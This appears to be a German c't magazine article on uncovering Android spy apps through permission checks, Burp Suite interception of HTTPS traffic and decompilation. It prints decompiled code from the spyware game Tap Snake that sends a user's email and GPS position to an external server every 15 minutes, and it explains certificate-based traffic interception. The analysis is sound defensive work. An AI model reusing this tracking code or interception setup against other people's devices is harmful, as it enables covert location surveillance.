Durchleuchtet

Schnüffel-Apps durch Analyse und Monitoring aufdecken

Praxis & Tipps | Praxis

Um Schnüffel-Apps einen Riegel vorschieben zu können, muss man sie erst einmal identifizieren. Zur Überführung verdächtiger Programme kann man deren Internetverkehr filtern oder einen Blick in den Code werfen. Beides geht einfacher, als es klingt.

Mit den richtigen Werkzeugen ist eine grobe Einteilung in harmlose und gefährliche Apps schnell getroffen – aufwendiger ist es, die Übeltäter in flagranti zu erwischen. In diesem Artikel führen wir Sie in drei Schritten in die Sicherheitsanalyse von Apps ein. Dabei kommen Methoden zum Einsatz, wie sie auch professionelle Sicherheitsunternehmen verwenden.

 Schritt 1: Verdächtige Apps identifizieren

 Schritt 2: Datenverkehr mit Server abhören

 Schritt 3: Code-Analyse

Der erste Schritt erfordert wenig Arbeit oder Vorkenntnisse und hilft, Apps auf ihre Risiken hin einzuschätzen. Haben Sie einen Verdächtigen identifiziert, können Sie im zweiten Schritt den Datenverkehr des Smartphones über einen PC umleiten und dort gezielt abhören. Über einen Man-in-the-Middle-Eingriff lässt sich sogar verschlüsselte Kommunikation mitlesen. Diese dynamische Analyse deckt allerdings nur auf, was die App im Lauf der aktiven Testphase verschickt und nicht vom Versand wurde. Im dritten Schritt dekompilieren wir deshalb die App und versuchen, im Code das Einlesen, Übergeben und Verschicken von persönlichen Daten nachzuvollziehen. Dieser Ansatz wirft am meisten ab, dauert aber auch am längsten.

Schritt 1: Verdächtige Apps identifizieren

Wie am PC ist auch am Android-Smartphone oder -Tablet die erste und wichtigste Regel, bei der Auswahl neuer Apps genau hinzuschauen. Viele negative Bewertungen im Play Store können beispielsweise auf problematische Apps hindeuten, oft beschreiben Bewertungen auch konkrete Fehlverhalten der Apps.

Während des Installationsdialogs sollten Sie zudem überprüfen, welche Rechte die App einfordert: Eine Taschenlampe benötigt keinen Zugriff auf Ortsdaten; ein Spiel muss keine SMS verschicken. Die Überprüfung solcher Berechtigungen hat Google vor einem Jahr unnötig erschwert: Inzwischen sind Berechtigungen sehr grob zusammengefasst, und einige wie den Zugriff aufs Internet zeigt der Play Store gar nicht mehr an. Sie können die genauere Liste aber über das Web-Frontend des Google Play Store ansehen oder nach der Installation über die Detail-Ansicht der App auf dem Smartphone unter „Einstellungen / Apps“ einsehen.

Wer es ganz genau wissen will, kann in die sogenannte Manifest-Datei einer App hineinblicken. Sie führt auf, welche Schnittstellen zu Smartphone-Daten die App benutzen darf. Umgekehrt bleibt der App alles verboten, was nicht drin steht. Die Manifest.XML steckt im Installationspaket jeder App und lässt sich auf dem Handy beispielsweise mit dem Manifest Viewer einsehen. Den Manifest Viewer und alle anderen vorgestellten Anwendungen können Sie über den c’t-Link am Ende des Artikels herunterladen.

Um nicht jede App einzeln durchforsten zu müssen, bieten sich Datenschutz-Apps wie der Ad Detector von AppBrain an. Er liest die Manifest-Dateien aller installierten Apps ein und zeigt auf, welche davon problematische Zugriffe anfordern. Das Charmante am Ad Detector ist, dass er selbst wenig Daten sammelt: Anders als die meisten Security-Apps fordert er weder tiefgreifende Rechte an, noch arbeitet er mit externen Werbenetzwerken zusammen. Die App gruppiert zwar nur sehr grob in sechs Kategorien, man kann aber für Details direkt in die Eigenschaften der gelisteten Apps weiterspringen.

Empfehlenswert ist auch „App Permissions“ von F-Secure, das die Berechtigungen genauer aufschlüsselt und beschreibt. Der „Clueful Privacy Advisor“ von Bitdefender überprüft darüber hinaus in einer Online-Datenbank, ob bei einer App in der Vergangenheit Datenschutzverstöße festgestellt wurden. Dabei fanden wir allerdings Abweichungen zu den Ergebnissen unserer Stichproben, sodass man sich nicht blind auf die Hinweise verlassen sollte.

Werbenetzwerke aufspüren

Meist sind es nicht die App-Anbieter selbst, die fleißig Daten sammeln, sondern die in den Apps integrierten Werbenetzwerke. Um sie einzubinden, nutzen die Entwickler in der Regel vorgefertigte Java-Komponenten des Werbebetreibers, die wiederum in der Manifest-Datei der einzelnen Apps genannt sind. Hinweise auf solche Verbindungen spürt Ad Detector ebenfalls auf, und zwar unter „Bedenken anzeigen / Werbenetzwerk“. Manche Verbindungen verstecken sich auch im Reiter „Social SDKs“ oder „Entwickler Tools“. Bindet eine App beispielsweise einen Facebook-Login ein, kann sie über das SDK auch die Werbedienste von Facebook nutzen. Einige Apps sammeln dadurch Daten für Facebook, selbst wenn der Anwender gar nicht bei dem sozialen Netzwerk registriert ist.

Security Suites

Ähnliche Datenschutz-Funktionen stellen auch diverse Security Suites bereit. Die sind in der Regel aber kostenpflichtig, senden teilweise selbst unnötig viel Daten nach Hause (siehe S. 124) und benötigen so viele Ressourcen, dass die Akkulaufzeit leidet. Auf ihre Malware-Scanner kann man unserer Erfahrung nach ebenfalls verzichten. Sie können nur bereits bekannte Malware entdecken, die Google bei Bekanntwerden schnell aus dem Play Store entfernt. Sinn ergibt ein Scan dann, wenn man Apps aus nicht vertrauenswürdigen Quellen lädt, also per Sideloading. Dafür kann man die APK-Dateien aber auch auf Webseiten wie virustotal.com oder apkscan.nviso.be hochladen und kostenlos überprüfen lassen. Letztere führt die App sogar aus und überprüft, welche URLs sie öffnet.

Schritt 2: Datenverkehr zwischen Smartphone und Server abhören

Um herauszufinden, was eine App tatsächlich ins Netz verschickt, muss man im zweiten Schritt ihren Datenverkehr abhören – das funktioniert am besten über einen Proxy. Dieser wird auf einem PC gestartet, der sich im gleichen Netzwerk befindet wie das Android-Gerät. Anschließend trägt man die Proxy-Infos im Smartphone ein, woraufhin der komplette WLAN-Datenverkehr durch den PC fließt. So bekommt man fast alle Datenpakete zu fassen und kann sogar in verschlüsselten Traffic hineinschauen.

Als Proxy können Sie zum Beispiel die kostenlose Burp Suite einsetzen, die als Java-Programm auf allen wichtigen Desktop-Betriebssystemen läuft (siehe c’t-Link). Nach dem Start der JAR-Datei wechseln Sie auf den Registerreiter „Proxy“ und dort in die Optionen. Standardmäßig akzeptiert Burp nur Verbindungen vom lokalen Rechner. Damit auch das Android-Gerät willkommen ist, wählen Sie unter „Proxy Listeners“ den einzigen vorhandenen Eintrag und klicken auf den Edit-Knopf. Ändern Sie dort die Option „Bind to address“ von „Loopback only“ auf „All Interfaces“. Jetzt müssen Sie die lokale IP-Adresse des Rechners herausfinden – unter Windows über den Kommandozeilenbefehl ipconfig, unter Unixen mit ifconfig. Tragen Sie in den WLAN-Einstellungen des Android-Geräts die Adresse als Proxy und den Port „8080“ ein. Die Einstellungen erreichen Sie, indem Sie den Eintrag Ihres WLAN gedrückt halten, „Netzwerk ändern“ antippen und die erweiterten Optionen öffnen.

Um die Proxy-Konfiguration zu testen, rufen Sie auf dem Android-Gerät eine beliebige Webseite auf, die kein HTTPS erzwingt – zum Beispiel heise.de. Standardmäßig ist Burp so eingestellt, dass es alle HTTP-Requests abfängt. Sie warten dann unter dem Registerreiter „Intercept“ darauf, einzeln durchgewunken zu werden. Damit die Daten ungehindert fließen können, klicken Sie dort auf den Button „Intercept is on“, der dann auf „Intercept is off“ wechselt. Anschließend können Sie im Reiter „HTTP History“ alle Pakete begutachten. Sie sind jetzt dazu in der Lage, unverschlüsselten Datenverkehr von Apps und Android-System auszuwerten.

Entschlüsselungstricks

Schon jetzt gibt es im HTTP-Log viel zu entdecken, weil die Kommunikation mit Tracking- und Werbedienstleistern meist im Klartext erfolgt. Burp macht aber auch vor verschlüsselten HTTPS-Verbindungen nicht Halt. Für das Lesen der chiffrierten Verbindungen müssen Sie über Burp einen „Man-in-the-Middle“-Eingriff ausführen. Hierfür importieren Sie das Herausgeberzertifikat von Burp ins Android-System. Öffnen Sie dazu auf dem Smartphone bei aktiviertem Proxy die URL http://burp/cert, was den Download der Datei cacert.der auslöst. Ändern Sie deren Namen über einen Datei-Browser wie dem ES File Explorer in cacert.cer um und klicken Sie anschließend auf die Datei. Nun bietet Android an, das Zertifikat zu importieren. Sollte das nicht funktionieren, können Sie den Import auch über „Einstellungen / Sicherheit / Anmeldedatenspeicher / Von SD-Karte installieren“ anstoßen. Ab jetzt zeigt Burp auch den Inhalt verschlüsselter HTTPS-Requests in der HTTP-History an.

Nur wenige Apps überprüfen, ob ein SSL-Zertifikat tatsächlich vom angefunkten Hersteller stammt (CA-Pinning). In diesen Fällen schlägt der Verbindungsaufbau über den Proxy fehl und die App meldet einen Verbindungsfehler. Diesen Apps kommt man nur mit größerem Aufwand auf die Schliche, etwa indem man die APK-Datei wie später im Schritt drei beschrieben auseinandernimmt.

Auf frischer Tat ertappt

Mit Burp haben wir beispielsweise den Zahlungsdienstleister PayPal dabei ertappt, wie seine App so ziemlich alles an einen PayPal-Server funkte, was sie über ihre Berechtigungen erschnüffeln konnte. Neben harmlosen Informationen wie Android-Version, Gerätemodell und verfügbarem Speicherplatz interessiert sich PayPal auch für den exakten Aufenthaltsort und sogar für die Telefonnummer des Nutzers. Zudem fragt das Unternehmen präzise Details über die genutzten Netze ab, einschließlich des WLAN-Namens. Das Datenpaket ist so umfangreich, dass es ausgedruckt eine gesamte DIN-A4-Seite einnimmt.

Außerdem lud PayPal eine Liste „android_apps_to_check“ mit zahlreichen App-Namen aus dem Netz, darunter diverse Tools aus der Rooting-Szene, VPN-Apps und Programme wie Location Spoofer, die Android einen beliebigen GPS-Standort vorgaukeln. Sind Apps aus der Liste installiert, versendet die App einen entsprechenden Hinweis.

Die Daten speichert PayPal vermutlich, um bei Betrugsversuchen möglichst viel Informationen über das ausführende Smartphone herauszufinden. Das ist an sich keine schlechte Idee, doch erfolgt es ohne Wissen des Nutzers und auch dann, wenn man gar nicht bei PayPal eingeloggt ist.

Weitere Protokolle untersuchen

WhatsApp, Threema und andere Anwendungen kommunizieren nicht über HTTP(S). Da Burp aber nur HTTP(S) erfasst, muss man für die Analyse solcher Spezialfälle schwerere Geschütze auffahren. Dazu schneidet man den Datenverkehr am besten an einer Stelle mit, die er ohnehin passiert – etwa im Router. Wie auf Seite 127 bereits erwähnt, macht die Fritzbox den Datenmitschnitt besonders leicht. Alternativ kann man den kompletten Traffic durch einen Rechner schleusen und dort mitschneiden; zum Beispiel, indem man mit dem Rechner einen Hotspot aufspannt und dort das zu analysierende Android-Gerät einbucht. Um den kompletten Datenverkehr auszuwerten, greift man zu einem Analyse-Tool wie Wireshark, das ähnlich wie Burp funktioniert (siehe c’t-Link). Eine ausführliche Anleitung zur Traffic-Analyse mit Wireshark finden Sie in  [1].

Schritt 3: Die Code-Analyse

Einige Apps verschlüsseln die Daten schon, bevor sie auf Reisen gehen, oder funken nur unregelmäßig nach draußen. Um auch solche Apps zu enttarnen, kann man versuchen, sie zu dekompilieren, und sich dann den Programmcode näher anschauen. Dafür empfehlen sich grundlegende Kenntnisse über den Aufbau von App-Installationspaketen (APK), Android und der Programmiersprache Java. Wer sich ein bisschen mit Programmiersprachen auskennt, kann oft schon durch bloßes Hinsehen interessante Details über die App in Erfahrung bringen.

Im Grunde ist eine APK-Datei wie eine Java-JAR-Datei nur ein ZIP-Archiv. Mit einem Archivierer kann man deshalb schon den Großteil der Struktur und Basisdaten einsehen, nicht allerdings den eigentlichen Programmcode. Dieser steckt in der Datei classes.dex – aus Java-Code erzeugtem Bytecode für die Android-Umgebung Dalvik VM. Einige Apps enthalten zusätzlich Bibliotheken, die nicht in Java geschrieben wurden und die sich in den Verzeichnissen lib oder assets befindet. Für unsere Analyse beschränken wir uns auf den kompilierten Java-Code, der in den meisten Apps vorherrscht und leichter zugänglich ist.

Es gibt mehrere Wege, um die App zu dekompilieren, also aus dem Bytecode wieder lesbares Java zu machen. Der bekannteste führt über die Desktop-Software APKTool, erfordert aber etwas Fingerspitzengefühl und außerdem sowohl Java- als auch Android-Entwicklungsumgebungen auf dem Rechner. Die Android-App „Show Java“ dekompiliert APKs direkt auf dem Smartphone, was aber für die Code-Analyse nicht besonders praktisch ist.

Am einfachsten dekompiliert man eine App über die Seite decompileandroid.com. Dort müssen Sie lediglich die Android-App als APK hochladen und betrachten die Ergebnisse dann in einem Text-Editor, der Java-Code mit Syntax-Highlighting anzeigen kann – zum Beispiel Notepad++ oder Sublime Text.

Der beim Dekompilieren entstandene Code entspricht nicht exakt dem ursprünglichen Quelltext, weil das Dekompilat aus dem bereits optimierten Dalvik-VM-Bytecode rekonstruiert wird. Die Namen der Methoden bleiben bestehen, Variablen oder auch Klassen sind oft nur durchnummeriert. Aus Schleifen werden Go-to-Statements, was den Code schlechter lesbar macht. Auch kann es zu Fehlern bei der Rekonstruktion kommen. Im Großen und Ganzen ist das Resultat aber meist zu gebrauchen und nachvollziehbar.

Probe aufs Exempel

Als Beispiel für eine Code-Analyse haben wir uns das Spiel Tap Snake vorgenommen. Dieser Klon des beliebten Handy-Spiels Snake wurde 2010 als Android-Spyware enttarnt – wir wissen also schon, dass es hier etwas zu finden gibt. Die APK haben wir in unserem Fall aus dem Internet bezogen (siehe c’t Link). An die APKs von Programmen kommen Sie aber auch direkt auf Ihrem Smartphone – zum Beispiel über den „APK Extractor“. Mit Root-Rechten können Sie die Pakete sogar direkt aus dem Verzeichnis /data/app kopieren. Das Dekompilieren der APK über decompileandroid.com funktionierte bei uns nur über die „static version“ des Uploaders und dauerte einige Sekunden.

HttpPost httppost;
if (location.getAccuracy() < lastLocation.getAccuracy())
{
  f1 = lastLocation.getAccuracy();
} else
{
  f1 = location.getAccuracy();
}
  if (f >= f1)
{
  break MISSING_BLOCK_LABEL_543;
}
  if (location.getAccuracy() >= lastLocation.getAccuracy()) goto _L3; else goto _L5

_L5:
try
{
  s = (new StringBuilder(String.valueOf((new StringBuilder(String.valueOf((new StringBuilder(String.valueOf((new StringBuilder(String.valueOf((new StringBuilder(String.valueOf((new StringBuilder(String.valueOf((new StringBuilder("?email=")).append(URLEncoder.encode(email, "UTF-8")).toString()))).append("&code=").append(URLEncoder.encode(code, "UTF-8")).toString()))).append("&time=").append(Long.toString(location.getTime())).toString()))).append("&lat=").append(Double.toString(location.getLatitude())).toString()))).append("&lng=").append(Double.toString(location.getLongitude())).toString()))).append("&pro=").append(location.getProvider()).toString()))).append("&acc=").append(Float.toString(location.getAccuracy())).toString();
  httppost = new HttpPost("http://gpsdatapoints.appspot.com/addPoint");
  httppost.setEntity(new UrlEncodedFormEntity(URLEncodedUtils.parse(new URI(s), "UTF-8")));
  (new DefaultHttpClient()).execute(httppost);
}
Der Ausschnitt aus SnakeService.java zeigt: Die App Tap Snake baut aus persönlichen Daten einen String zusammen und sendet ihn per HTTP ins Internet.

Als Erstes zeigt der Decompiler im Browser-Fenster die Manifest-Datei an. Die verrät bereits, dass die App für ein einfaches Spiel sehr auffällige Berechtigungen benötigt (siehe Screenshot). INTERNET (Verbindung mit dem Internet aufnehmen) und WAKE_LOCK (Standby-Modus verhindern) sind für ein Spiel nicht ungewöhnlich. Doch warum braucht die App ACCESS_FINE_LOCATION, also unseren genauen Standort? Und was tut der Hintergrunddienst „SnakeService“, der direkt beim Bootvorgang von Android starten soll?

<service android:name=⤦
 ".SnakeService" android:enabled="true" />
<receiver android:name=".BootDetector">
  <intent-filter>
    <action android:name=⤦
 "android.intent.action.BOOT_COMPLETED" />
  </intent-filter>
</receiver>

Um das herauszufinden, laden wir nun die dekompilierte App herunter; der Download-Link liegt etwas versteckt über dem Fenster mit der Manifest-Datei. Im Download-Verzeichnis landet eine Datei namens source.zip, die einen Ordner /src/net/maxicom/android/snake enthält. Manche Apps sind ziemlich komplex und enthalten SDKs für Werbenetzwerke oder Social-Media-Logins. Auch kann es passieren, dass der Decompiler einige Programm-Schnipsel nicht zuordnen kann. Diese landen dann nur durchnummeriert im src-Ordner. Die Snake-App ist vergleichsweise klein und übersichtlich.

Wir wissen aus der Manifest-Datei, dass die App auf das Event BOOT_COMPLETED reagiert. Die dafür verantwortliche Java-Klasse heißt „BootDetector.java“ und ein Blick in diese verrät, dass sie tatsächlich direkt nach dem Booten den Hintergrunddienst „SnakeService“ startet.

public void onReceive(Context context, Intent intent)
{
  context.startService(new Intent(context, net/maxicom/⤦
 android/snake/SnakeService));
}

Aus der Klasse „SnakeService.java“ (Auszug siehe Kasten) geht hervor, dass die App die genaue Position des Smartphones mit Zeitstempel in ein HTTP-POST-Paket packt und unverschlüsselt an „http://gpsdatapoints.appspot.com/addPoint“ verschickt – diese URL verweist auf Googles kostenlosen Cloudspeicher für Entwickler. Das wiederholt der Dienst alle 15 Minuten – dank dem gesetzten „WAKE_LOCK“ selbst dann, wenn das Gerät gerade gesperrt ist. Somit ist klar: Diese App dient dazu, die Position des Nutzers rund um die Uhr aufzuzeichnen.

Zum Schluss…

Die hier vorgestellten Methoden entlarven nicht jedem Übeltäter: Ausgefuchste Spyware-Programmierer kennen durchaus Tricks, um ihre Absichten vor Burp und Dekompilier-Versuchen zu verstecken. Die meisten Datenschnüffler lassen sich damit aber identifizieren. Wir haben bei unseren Versuchen so diverse Übeltäter enttarnt und so manche Überraschung erlebt. (acb@ct.de)

Literatur
  1. [1] Ronald Eikenberg, Gut App-geschaut, Netzwerkverkehr von Smartphones kontrollieren, c’t 7/12, S. 120

Artikel kostenlos herunterladen

weiterführende Links

Kommentare